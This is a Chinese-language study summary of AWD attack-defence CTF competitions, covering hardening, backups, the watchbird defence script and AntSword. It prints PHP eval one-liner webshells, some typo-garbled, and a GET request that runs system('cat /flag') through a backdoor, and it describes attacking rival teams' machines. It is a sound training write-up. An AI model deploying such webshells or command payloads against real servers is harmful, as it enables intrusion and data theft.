CTF中AWD的学习总结

这是一篇有关CTF中AWD的学习总结

赛事讲解

规则介绍

  1. 了解靶机数量(每个队有几台机器linux),知道机器IP段端口密码。登录进去第一件事是更改密码

  2. 知道整个其他队伍的IP段,然后使用Nmap对整个网段进行扫描,但是由于每个人的机器漏洞是完全一样的,所以在准备的时候可以直接扫描自己的机器暴漏的端口(后门)

  3. 如何找到其他人的计算机,写一个ping的脚本(linux脚本),筛选出可以ping通的机器

  4. 如何登录自己的靶机:准备工具(可能遇到无法联网的情况,因此务必要先准备好一些通用的工具,如果能够提前准备好,则可以防止出现各种不必要的情况)

    1. xshell mobaXterm:备份数据到自己的windows电脑中,一般文件放在/var/www/html

    2. 删除后门:选中删除或者注释:D盾(操作简单)

1
2
3
<?php @eval($ POST['c']); ?> 
<?php @eval($ GET['c']); ?>
<?php @eval(S REQUEST[*c']); ?>
  1. 启用通防:通防就是通用防御的意恩,通过一个脚本来抵挡攻击(通防一般涵盖两个功能,即能够观看流量访问(别人对你攻击),此外还要能够抵御常见攻击力)

    • 将wathbird放在与html的同级目录(如何不行的话直接上传到html目录下也可以),输入php watchbird.php --install /var/www/html,安装watchbird脚本,然后输入http://172.20.0.2/?watchbird=ui进入watchbird的后台
    • 看鸟脚本(Watchbird.php):等级调整为1
  2. 如何知道自己靶机的漏洞(后门):扫描工具nmap
  3. 如何修复漏洞:加通防:watchbird.php

加固阶段

如何保障自己的靶机不会被攻击,因此需要加固阶段看鸟脚本该阶段主机没有flag

扣分细则:

  1. Flag被其他队提取,上报裁判。
  2. 机器宕机(机器遭到破坏,linux的文件树被破坏,很多的文件都被其他小伙伴删除),因此拿到机器的第一件事就是备份整个机器,备份到本地,然后出现当即把文件上传上去

靶机类型:

  1. WEB类型网站(PHP、JAVA、Python)
  • PHP类型是文件是以.php结尾的,出现频率很高
  • java的文件是以.jsp结尾,频率一般
  • Python类型是以框架模式出现,不好判断,频率一般
  1. PWN类型:略

靶机权限

  • 一般都没有root权限,都是用户权限,所以练习的时候一定要以用户权限训练

软件

watchbird(流量检测,防御)

web_log有变化,可以看到从那个ip访问过来,这种时候我们可以直接把别人的ip提取出来,然后对对方进行攻击

蚁🗡(攻击类软件--中国菜刀)(主要使用POST)

打开exe文件,但是要注意,一定要是使用管理员模式,否者会出现代码解压出错的提示,

GET,POST,REQUEST的分别应对方法

  • Get请求漏洞:在对应的php文件后采用php的请求方式如例如$_GET['c'],我们可以使用下面的命令直接对于其进行突破。
1
http://172.20.0.2/config/get.php?c=system("cat /flag");

攻击时间

发现自己的漏洞之后就可以攻击其他人的机器了,直接通过上面的一些漏洞访问就可以了,这样就可以得到其他人的flag,需要说明的是,这个flag的在每一轮都会刷新,如果被攻击者在相应的轮数和状态下没有防护好,那么就可以下一轮直接刷新得到其flag。